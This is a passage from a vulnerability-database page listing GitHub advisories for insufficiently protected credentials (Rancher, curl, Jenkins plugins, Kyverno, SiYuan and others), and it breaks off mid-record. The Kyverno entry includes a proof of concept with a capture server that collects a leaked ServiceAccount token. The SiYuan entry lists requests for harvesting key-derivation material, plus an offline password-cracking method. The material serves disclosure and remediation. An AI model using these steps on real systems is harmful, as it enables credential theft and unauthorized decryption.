CWE-522
Allowed-with-ReviewInsufficiently Protected Credentials
Abstraction: Class · Status: Incomplete
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
1948 vulnerabilities reference this CWE, most recent first.
GHSA-8W47-G5WH-386W
Vulnerability from github – Published: 2024-09-19 18:30 – Updated: 2024-09-19 18:30In JetBrains YouTrack before 2024.3.44799 token could be revealed on Imports page
{
"affected": [],
"aliases": [
"CVE-2024-47162"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-19T18:15:10Z",
"severity": "MODERATE"
},
"details": "In JetBrains YouTrack before 2024.3.44799 token could be revealed on Imports page",
"id": "GHSA-8w47-g5wh-386w",
"modified": "2024-09-19T18:30:53Z",
"published": "2024-09-19T18:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47162"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8W87-58W6-HFV8
Vulnerability from github – Published: 2026-03-03 14:49 – Updated: 2026-03-03 14:49Impact
It was discovered that in Rancher versions up to and including 2.5.12 and 2.6.3 there is a failure to properly sanitize credentials in cluster template answers. This failure can lead to plaintext storage and exposure of credentials, passwords and API tokens.
The exposed credentials are visible in Rancher to authenticated Cluster Owners, Cluster Members, Project Owners and Project Members on the endpoints /v1/management.cattle.io.clusters, /v3/clusters and /k8s/clusters/local/apis/management.cattle.io/v3/clusters.
Sensitive fields are now stripped from Clusters objects before the object is stored. For objects that existed before this security fix, a one-time migration happens on startup.
Important: - It is highly advised to review for potential leaked credentials in this scenario, and to change them if deemed necessary. - The final impact severity for confidentiality, integrity and availability is dependent on the permissions that the leaked credentials have on their own services.
Patches
Patched versions include releases 2.5.13, 2.6.4 and later versions.
Workarounds
Limit access in Rancher to trusted users. There is not a direct mitigation besides upgrading to the patched Rancher versions.
Important: It is highly advised to review for potential leaked credentials in this scenario, and to change them if deemed necessary.
For more information
If you have any questions or comments about this advisory: * Reach out to SUSE Rancher Security team for security related inquiries. * Open an issue in Rancher repository. * Verify our support matrix and product support lifecycle.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.5.12"
},
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/rancher"
},
"ranges": [
{
"events": [
{
"introduced": "2.5.0"
},
{
"fixed": "2.5.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.6.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/rancher"
},
"ranges": [
{
"events": [
{
"introduced": "2.6.0"
},
{
"fixed": "2.6.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-36783"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-312",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T14:49:34Z",
"nvd_published_at": "2022-09-07T09:15:00Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nIt was discovered that in Rancher versions up to and including 2.5.12 and 2.6.3 there is a failure to properly sanitize credentials in cluster template answers. This failure can lead to plaintext storage and exposure of credentials, passwords and API tokens.\n\nThe exposed credentials are visible in Rancher to authenticated `Cluster Owners`, `Cluster Members`, `Project Owners` and `Project Members` on the endpoints `/v1/management.cattle.io.clusters`, `/v3/clusters` and `/k8s/clusters/local/apis/management.cattle.io/v3/clusters`.\n\nSensitive fields are now stripped from `Clusters` objects before the object is stored. For objects that existed before this security fix, a one-time migration happens on startup.\n\n**Important:**\n- It is highly advised to review for potential leaked credentials in this scenario, and to change them if deemed necessary.\n- The final impact severity for confidentiality, integrity and availability is dependent on the permissions that the leaked credentials have on their own services.\n\n### Patches\nPatched versions include releases 2.5.13, 2.6.4 and later versions.\n\n### Workarounds\nLimit access in Rancher to trusted users. There is not a direct mitigation besides upgrading to the patched Rancher versions.\n\n**Important:** It is highly advised to review for potential leaked credentials in this scenario, and to change them if deemed necessary.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Reach out to [SUSE Rancher Security team](https://github.com/rancher/rancher/security/policy) for security related inquiries.\n* Open an issue in [Rancher](https://github.com/rancher/rancher/issues/new/choose) repository.\n* Verify our [support matrix](https://www.suse.com/suse-rancher/support-matrix/all-supported-versions/) and [product support lifecycle](https://www.suse.com/lifecycle/).",
"id": "GHSA-8w87-58w6-hfv8",
"modified": "2026-03-03T14:49:34Z",
"published": "2026-03-03T14:49:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rancher/rancher/security/advisories/GHSA-8w87-58w6-hfv8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36783"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1193990"
},
{
"type": "PACKAGE",
"url": "https://github.com/rancher/rancher"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Rancher doesn\u0027t properly sanitize credentials in cluster template answers"
}
GHSA-8WFP-579W-6R25
Vulnerability from github – Published: 2026-04-16 21:37 – Updated: 2026-04-16 21:37Summary
Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.
The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.
Details
Kyverno's apiCall executor (pkg/engine/apicall/executor.go) reads the ServiceAccount token from:
/var/run/secrets/kubernetes.io/serviceaccount/token
and injects it into every HTTP request as:
Authorization: Bearer <token>
This occurs when no explicit Authorization header is defined in the policy.
Root cause
if req.Header.Get("Authorization") == "" {
token := a.getToken()
if token != "" {
req.Header.Add("Authorization", "Bearer "+token)
}
}
This logic introduces several issues:
- Implicit credential forwarding to arbitrary endpoints
- No trust boundary validation (external/internal distinction)
- Undocumented behavior
- Header.Add instead of Set allows duplication
- No token sanitization (potential trailing newline)
PoC
Preconditions
- Kyverno installed (v1.17.1 tested)
- A policy using
apiCall.service.url
Step 1 — Deploy capture server
kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print(self.headers.get('Authorization'), flush=True)
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888
Step 2 — Create policy
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: token-leak
spec:
rules:
- name: test
match:
any:
- resources:
kinds: ["Pod"]
context:
- name: r
apiCall:
method: GET
service:
url: "http://capture.default.svc:8888"
jmesPath: "@"
Step 3 — Trigger
kubectl run test --image=nginx
Step 4 — Observe token
kubectl logs capture
Output:
Authorization: Bearer <SA_TOKEN>
Impact
Vulnerability class
- Credential exposure / leakage
Impact details
- Exposure of Kubernetes ServiceAccount token
- Token grants:
- Full control over Kyverno policies
- Ability to create/delete webhooks
- Read cluster-wide resources
- Privilege escalation and persistence
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:37:29Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nKyverno\u0027s apiCall service mode automatically attaches the admission controller\u0027s ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.\n\nThe behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.\n\n---\n\n### Details\n\nKyverno\u0027s apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from:\n\n`/var/run/secrets/kubernetes.io/serviceaccount/token`\n\nand injects it into every HTTP request as:\n\n```\nAuthorization: Bearer \u003ctoken\u003e\n```\n\nThis occurs when no explicit `Authorization` header is defined in the policy.\n\n#### Root cause\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n token := a.getToken()\n if token != \"\" {\n req.Header.Add(\"Authorization\", \"Bearer \"+token)\n }\n}\n```\n\nThis logic introduces several issues:\n\n- **Implicit credential forwarding** to arbitrary endpoints\n- **No trust boundary validation** (external/internal distinction)\n- **Undocumented behavior**\n- **Header.Add instead of Set** allows duplication\n- **No token sanitization** (potential trailing newline)\n\n---\n\n### PoC\n\n#### Preconditions\n\n- Kyverno installed (v1.17.1 tested)\n- A policy using `apiCall.service.url`\n\n---\n\n#### Step 1 \u2014 Deploy capture server\n\n```bash\nkubectl run capture --image=python:3-slim --restart=Never -- \\\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n print(self.headers.get(\u0027Authorization\u0027), flush=True)\n self.send_response(200)\n self.end_headers()\nhttp.server.HTTPServer((\u00270.0.0.0\u0027,8888),H).serve_forever()\"\nkubectl expose pod capture --port=8888\n```\n\n---\n\n#### Step 2 \u2014 Create policy\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: token-leak\nspec:\n rules:\n - name: test\n match:\n any:\n - resources:\n kinds: [\"Pod\"]\n context:\n - name: r\n apiCall:\n method: GET\n service:\n url: \"http://capture.default.svc:8888\"\n jmesPath: \"@\"\n```\n\n---\n\n#### Step 3 \u2014 Trigger\n\n```bash\nkubectl run test --image=nginx\n```\n\n---\n\n#### Step 4 \u2014 Observe token\n\n```bash\nkubectl logs capture\n```\n\nOutput:\n\n```\nAuthorization: Bearer \u003cSA_TOKEN\u003e\n```\n\n---\n\n### Impact\n\n#### Vulnerability class\n- Credential exposure / leakage\n\n#### Impact details\n\n- Exposure of Kubernetes ServiceAccount token\n- Token grants:\n - Full control over Kyverno policies\n - Ability to create/delete webhooks\n - Read cluster-wide resources\n - Privilege escalation and persistence",
"id": "GHSA-8wfp-579w-6r25",
"modified": "2026-04-16T21:37:29Z",
"published": "2026-04-16T21:37:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)"
}
GHSA-8WHR-249C-VFJP
Vulnerability from github – Published: 2026-03-11 12:31 – Updated: 2026-03-11 15:31When an OAuth2 bearer token is used for an HTTP(S) transfer, and that transfer performs a redirect to a second URL, curl could leak that token to the second hostname under some circumstances.
If the hostname that the first request is redirected to has information in the
used .netrc file, with either of the machine or default keywords, curl
would pass on the bearer token set for the first host also to the second one.
{
"affected": [],
"aliases": [
"CVE-2026-3783"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-11T11:16:00Z",
"severity": "MODERATE"
},
"details": "When an OAuth2 bearer token is used for an HTTP(S) transfer, and that transfer\nperforms a redirect to a second URL, curl could leak that token to the second\nhostname under some circumstances.\n\nIf the hostname that the first request is redirected to has information in the\nused .netrc file, with either of the `machine` or `default` keywords, curl\nwould pass on the bearer token set for the first host also to the second one.",
"id": "GHSA-8whr-249c-vfjp",
"modified": "2026-03-11T15:31:52Z",
"published": "2026-03-11T12:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3783"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3583983"
},
{
"type": "WEB",
"url": "https://curl.se/docs/CVE-2026-3783.html"
},
{
"type": "WEB",
"url": "https://curl.se/docs/CVE-2026-3783.json"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/03/11/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8WP4-R84G-GCMW
Vulnerability from github – Published: 2025-07-09 18:30 – Updated: 2025-11-05 20:00Jenkins Testsigma Test Plan run Plugin stores Testsigma API keys in job config.xml files on the Jenkins controller as part of its configuration.
While these API keys are stored encrypted on disk, in Testsigma Test Plan run Plugin 1.6 and earlier, the job configuration form does not mask these API keys, increasing the potential for attackers to observe and capture them.
As of publication of this advisory, there is no fix.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.jenkins.plugins:testsigma"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-53661"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-09T21:14:44Z",
"nvd_published_at": "2025-07-09T16:15:25Z",
"severity": "LOW"
},
"details": "Jenkins Testsigma Test Plan run Plugin stores Testsigma API keys in job `config.xml` files on the Jenkins controller as part of its configuration.\n\nWhile these API keys are stored encrypted on disk, in Testsigma Test Plan run Plugin 1.6 and earlier, the job configuration form does not mask these API keys, increasing the potential for attackers to observe and capture them.\n\nAs of publication of this advisory, there is no fix.",
"id": "GHSA-8wp4-r84g-gcmw",
"modified": "2025-11-05T20:00:45Z",
"published": "2025-07-09T18:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53661"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/testsigma-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2025-07-09/#SECURITY-3515"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/07/09/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins Testsigma Test Plan vulnerability exposes API keys via job configuration form"
}
GHSA-8WPJ-9JR6-RMG3
Vulnerability from github – Published: 2022-05-13 01:50 – Updated: 2022-05-13 01:50An issue was discovered in CIRCONTROL Open Charge Point Protocol (OCPP) before 1.5.0, as used in CirCarLife, PowerStudio, and other products. Due to storage of credentials in XML files, an unprivileged user can look at /services/config/config.xml for the admin credentials of the ocpp and circarlife panels.
{
"affected": [],
"aliases": [
"CVE-2018-16669"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-18T20:29:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in CIRCONTROL Open Charge Point Protocol (OCPP) before 1.5.0, as used in CirCarLife, PowerStudio, and other products. Due to storage of credentials in XML files, an unprivileged user can look at /services/config/config.xml for the admin credentials of the ocpp and circarlife panels.",
"id": "GHSA-8wpj-9jr6-rmg3",
"modified": "2022-05-13T01:50:24Z",
"published": "2022-05-13T01:50:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16669"
},
{
"type": "WEB",
"url": "https://github.com/SadFud/Exploits/tree/master/Real%20World/Suites/cir-pwn-life"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45384"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8X2H-C9MX-CX2J
Vulnerability from github – Published: 2024-09-26 15:30 – Updated: 2024-09-26 15:30IBM Cognos Command Center 10.2.4.1 and 10.2.5 could disclose highly sensitive user information to an authenticated user with physical access to the device.
{
"affected": [],
"aliases": [
"CVE-2024-31899"
],
"database_specific": {
"cwe_ids": [
"CWE-256",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-26T14:15:08Z",
"severity": "MODERATE"
},
"details": "IBM Cognos Command Center 10.2.4.1 and 10.2.5 could disclose highly sensitive user information to an authenticated user with physical access to the device.",
"id": "GHSA-8x2h-c9mx-cx2j",
"modified": "2024-09-26T15:30:43Z",
"published": "2024-09-26T15:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31899"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7149734"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8X6C-375H-PM4F
Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2022-11-02 00:05Jenkins Extensive Testing Plugin stores credentials unencrypted in job config.xml files on the Jenkins master where they can be viewed by users with Extended Read permission, or access to the master file system.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "jenkins.xtc:extensivetesting"
},
"versions": [
"1.4.4b"
]
}
],
"aliases": [
"CVE-2019-10448"
],
"database_specific": {
"cwe_ids": [
"CWE-312",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2022-11-02T00:05:07Z",
"nvd_published_at": "2019-10-16T14:15:00Z",
"severity": "HIGH"
},
"details": "Jenkins Extensive Testing Plugin stores credentials unencrypted in job config.xml files on the Jenkins master where they can be viewed by users with Extended Read permission, or access to the master file system.",
"id": "GHSA-8x6c-375h-pm4f",
"modified": "2022-11-02T00:05:07Z",
"published": "2022-05-24T16:58:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10448"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-10-16/#SECURITY-1432"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Cleartext Storage of Sensitive Information in Jenkins Extensive Testing Plugin"
}
GHSA-8X84-R2FF-H8PQ
Vulnerability from github – Published: 2026-09-03 23:02 – Updated: 2026-09-03 23:02CVE: This vulnerability corresponds to CVE-2026-72801.
Summary
Two CheckAuth-only endpoints disclose the complete offline attack material for the encrypted-notebook master password, plus the wrapped per-notebook key needed to use it. Both are reachable by the publish RoleReader token and by the anonymous account when Publish.Auth.Enable is false. An unauthenticated remote client can retrieve the Argon2id salt and cost parameters, a verifier that confirms a correct password offline, and the encrypted per-notebook data key reducing the security of every encrypted notebook to the master password's resistance to offline GPU cracking.
Details
(1) POST /api/system/getConf leaks NotebookCrypto.
getConf → GetMaskedConf() marshals the full configuration including NotebookCrypto *conf.NotebookCrypto (JSON tag notebookCrypto, not -, so it survives the deep copy). For non-administrators HideConfSecret() is applied, which nulls a dozen secret-bearing fields like AI, MCPOAuth, Api, Flashcard, Publish, Repo, Sync, Secrets, Variables, System paths but contains no reference to NotebookCrypto. FilterConfByPublishIgnore() for readers only touches UILayout.
The reader therefore receives:
| Field | What it is |
|---|---|
MasterSalt |
global Argon2id salt |
KDFParams |
Argon2id memory/time/parallelism cost |
KEKVerifier + VerifierNonce |
AES-GCM-encrypted fixed magic, the in-code comment states it exists for offline master-password verification |
KEKMAC |
HMAC-SHA256 of the KEK |
Either KEKVerifier or KEKMAC is a self-contained offline oracle:
KEK = Argon2id(guess, MasterSalt, KDFParams)
correct if AES-GCM-decrypt(KEKVerifier, VerifierNonce) == magic
or HMAC(KEK) == KEKMAC
No server round-trips are required, so there is no rate limiting, lockout, or logging on guesses, and the work is fully GPU-parallelisable.
(2) POST /api/notebook/getNotebookConf leaks the wrapped data key.
box.GetConf() returns the full BoxConf including BoxCrypt.WrappedDEK, the per-notebook data-encryption key wrapped under the KEK via AES-GCM together with WrapNonce. getNotebookInfo is the same class. Once (1) yields the master password, the attacker derives the KEK, decrypts WrappedDEK to recover the real data-encryption key, and decrypts every .sy file in that notebook.
Why this matters beyond the at-rest threat model. Storing verifier and KDF material alongside the ciphertext is reasonable against a local attacker who already has filesystem access. Serving MasterSalt + KDFParams + KEKVerifier + WrappedDEK to an anonymous remote reader converts that at-rest assumption into a remote pre-authentication cracking opportunity.
Guarded-sibling asymmetry. HideConfSecret nulls a dozen secret fields but omits NotebookCrypto. lsNotebooks filters notebook visibility for readers, while getNotebookConf and getNotebookInfo apply no reader filter at all.
Verified at origin/master (eef105683): handler bodies as described; HideConfSecret contains zero NotebookCrypto matches; FilterConfByPublishIgnore touches only UILayout; all relevant struct JSON tags are non--; all three routes are registered CheckAuth without CheckAdminRole.
Proof of Concept
Precondition: publish mode enabled (default port 6808) with at least one encrypted notebook configured; anonymous when Publish.Auth.Enable is false, otherwise any publish reader account.
1. Retrieve the key-derivation material as an anonymous reader:
POST http://127.0.0.1:6808/api/system/getConf
{}
The response's notebookCrypto object contains MasterSalt, KDFParams, KEKVerifier, VerifierNonce, and KEKMAC while the same response has the other secret fields (Api, Repo, Sync, Publish, System paths) correctly blanked, demonstrating the omission.
2. Retrieve the wrapped notebook key:
POST http://127.0.0.1:6808/api/notebook/getNotebookConf
{"notebook":"<NOTEBOOK_ID>"}
The response contains BoxCrypt.WrappedDEK and WrapNonce.
3. Offline: candidate passwords are verified locally against KEKVerifier/KEKMAC using MasterSalt and KDFParams, with no further server interaction. A recovered password yields the KEK, which unwraps WrappedDEK to the notebook's data-encryption key.
Verification status: the leak paths are confirmed by code inspection at origin/master. A live end-to-end demonstration requires a build from HEAD with an encrypted notebook enabled; the test instance available predates the encrypted-notebook feature, so no runtime reproduction is claimed here.
Impact
An unauthenticated remote client (publish mode with auth disabled) or any publish RoleReader obtains everything needed to mount an unlimited, unthrottled, GPU-parallel offline attack on the encrypted-notebook master password, plus the wrapped data key to decrypt notebook contents once the password is recovered. The confidentiality of every encrypted notebook then rests solely on master-password entropy against an offline attacker, rather than on the password remaining unknown to remote parties. No rate limiting or detection applies, because guessing occurs entirely off-server.
Suggested fix
- In
HideConfSecret, replaceNotebookCryptowith a minimal{enabled: bool}for non-administrators the frontend only needs the enabled flag for the lock UI strippingMasterSalt,KDFParams,KEKVerifier,VerifierNonce, andKEKMAC. - Apply reader filtering to
getNotebookConfandgetNotebookInfosoBoxCrypt(includingWrappedDEKandWrapNonce) is omitted for non-administrator roles.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260724102025-3bc014c7dc32"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-72801"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-03T23:02:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "**CVE:** This vulnerability corresponds to [CVE-2026-72801](https://nvd.nist.gov/vuln/detail/CVE-2026-72801).\n\n### Summary\n\nTwo `CheckAuth`-only endpoints disclose the complete offline attack material for the encrypted-notebook master password, plus the wrapped per-notebook key needed to use it. Both are reachable by the publish `RoleReader` token and by the anonymous account when `Publish.Auth.Enable` is `false`. An unauthenticated remote client can retrieve the Argon2id salt and cost parameters, a verifier that confirms a correct password offline, and the encrypted per-notebook data key reducing the security of every encrypted notebook to the master password\u0027s resistance to offline GPU cracking.\n\n### Details\n\n**(1) `POST /api/system/getConf` leaks `NotebookCrypto`.**\n\n`getConf` \u2192 `GetMaskedConf()` marshals the full configuration including `NotebookCrypto *conf.NotebookCrypto` (JSON tag `notebookCrypto`, not `-`, so it survives the deep copy). For non-administrators `HideConfSecret()` is applied, which nulls a dozen secret-bearing fields like AI, MCPOAuth, Api, Flashcard, Publish, Repo, Sync, Secrets, Variables, System paths but contains **no reference to `NotebookCrypto`**. `FilterConfByPublishIgnore()` for readers only touches `UILayout`.\n\nThe reader therefore receives:\n\n| Field | What it is |\n|---|---|\n| `MasterSalt` | global Argon2id salt |\n| `KDFParams` | Argon2id memory/time/parallelism cost |\n| `KEKVerifier` + `VerifierNonce` | AES-GCM-encrypted fixed magic, the in-code comment states it exists for offline master-password verification |\n| `KEKMAC` | HMAC-SHA256 of the KEK |\n\nEither `KEKVerifier` or `KEKMAC` is a self-contained offline oracle:\n\n```\nKEK = Argon2id(guess, MasterSalt, KDFParams)\ncorrect if AES-GCM-decrypt(KEKVerifier, VerifierNonce) == magic\n or HMAC(KEK) == KEKMAC\n```\n\nNo server round-trips are required, so there is no rate limiting, lockout, or logging on guesses, and the work is fully GPU-parallelisable.\n\n**(2) `POST /api/notebook/getNotebookConf` leaks the wrapped data key.**\n\n`box.GetConf()` returns the full `BoxConf` including `BoxCrypt.WrappedDEK`, the per-notebook data-encryption key wrapped under the KEK via AES-GCM together with `WrapNonce`. `getNotebookInfo` is the same class. Once (1) yields the master password, the attacker derives the KEK, decrypts `WrappedDEK` to recover the real data-encryption key, and decrypts every `.sy` file in that notebook.\n\n**Why this matters beyond the at-rest threat model.** Storing verifier and KDF material alongside the ciphertext is reasonable against a *local* attacker who already has filesystem access. Serving `MasterSalt` + `KDFParams` + `KEKVerifier` + `WrappedDEK` to an *anonymous remote reader* converts that at-rest assumption into a remote pre-authentication cracking opportunity.\n\n**Guarded-sibling asymmetry.** `HideConfSecret` nulls a dozen secret fields but omits `NotebookCrypto`. `lsNotebooks` filters notebook visibility for readers, while `getNotebookConf` and `getNotebookInfo` apply no reader filter at all.\n\nVerified at `origin/master` (`eef105683`): handler bodies as described; `HideConfSecret` contains zero `NotebookCrypto` matches; `FilterConfByPublishIgnore` touches only `UILayout`; all relevant struct JSON tags are non-`-`; all three routes are registered `CheckAuth` without `CheckAdminRole`.\n\n### Proof of Concept\n\nPrecondition: publish mode enabled (default port 6808) with at least one encrypted notebook configured; anonymous when `Publish.Auth.Enable` is `false`, otherwise any publish reader account.\n\n**1. Retrieve the key-derivation material as an anonymous reader:**\n```\nPOST http://127.0.0.1:6808/api/system/getConf\n{}\n```\nThe response\u0027s `notebookCrypto` object contains `MasterSalt`, `KDFParams`, `KEKVerifier`, `VerifierNonce`, and `KEKMAC` while the same response has the other secret fields (Api, Repo, Sync, Publish, System paths) correctly blanked, demonstrating the omission.\n\n**2. Retrieve the wrapped notebook key:**\n```\nPOST http://127.0.0.1:6808/api/notebook/getNotebookConf\n{\"notebook\":\"\u003cNOTEBOOK_ID\u003e\"}\n```\nThe response contains `BoxCrypt.WrappedDEK` and `WrapNonce`.\n\n**3. Offline:** candidate passwords are verified locally against `KEKVerifier`/`KEKMAC` using `MasterSalt` and `KDFParams`, with no further server interaction. A recovered password yields the KEK, which unwraps `WrappedDEK` to the notebook\u0027s data-encryption key.\n\n*Verification status:* the leak paths are confirmed by code inspection at `origin/master`. A live end-to-end demonstration requires a build from HEAD with an encrypted notebook enabled; the test instance available predates the encrypted-notebook feature, so no runtime reproduction is claimed here.\n\n### Impact\n\nAn unauthenticated remote client (publish mode with auth disabled) or any publish `RoleReader` obtains everything needed to mount an unlimited, unthrottled, GPU-parallel offline attack on the encrypted-notebook master password, plus the wrapped data key to decrypt notebook contents once the password is recovered. The confidentiality of every encrypted notebook then rests solely on master-password entropy against an offline attacker, rather than on the password remaining unknown to remote parties. No rate limiting or detection applies, because guessing occurs entirely off-server.\n\n### Suggested fix\n\n- In `HideConfSecret`, replace `NotebookCrypto` with a minimal `{enabled: bool}` for non-administrators the frontend only needs the enabled flag for the lock UI stripping `MasterSalt`, `KDFParams`, `KEKVerifier`, `VerifierNonce`, and `KEKMAC`.\n- Apply reader filtering to `getNotebookConf` and `getNotebookInfo` so `BoxCrypt` (including `WrappedDEK` and `WrapNonce`) is omitted for non-administrator roles.",
"id": "GHSA-8x84-r2ff-h8pq",
"modified": "2026-09-03T23:02:12Z",
"published": "2026-09-03T23:02:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-8x84-r2ff-h8pq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72801"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/siyuan-before-information-disclosure-via-encryption-key-material"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan: Encrypted-notebook key-derivation material and wrapped notebook keys disclosed to anonymous readers, enabling offline master-password cracking"
}
GHSA-8XF3-X93C-2CH6
Vulnerability from github – Published: 2024-09-27 18:32 – Updated: 2025-09-22 18:30TopQuadrant TopBraid EDG stores external credentials insecurely. An authenticated attacker with file system access can read edg-setup.properites and obtain the secret to decrypt external passwords stored in edg-vault.properties. An authenticated attacker could gain file system access using a separate vulnerability such as CVE-2024-45745. At least version 7.1.3 is affected. Version 7.3 adds HashiCorp Vault integration that does not store external passwords locally.
{
"affected": [],
"aliases": [
"CVE-2024-45744"
],
"database_specific": {
"cwe_ids": [
"CWE-257",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
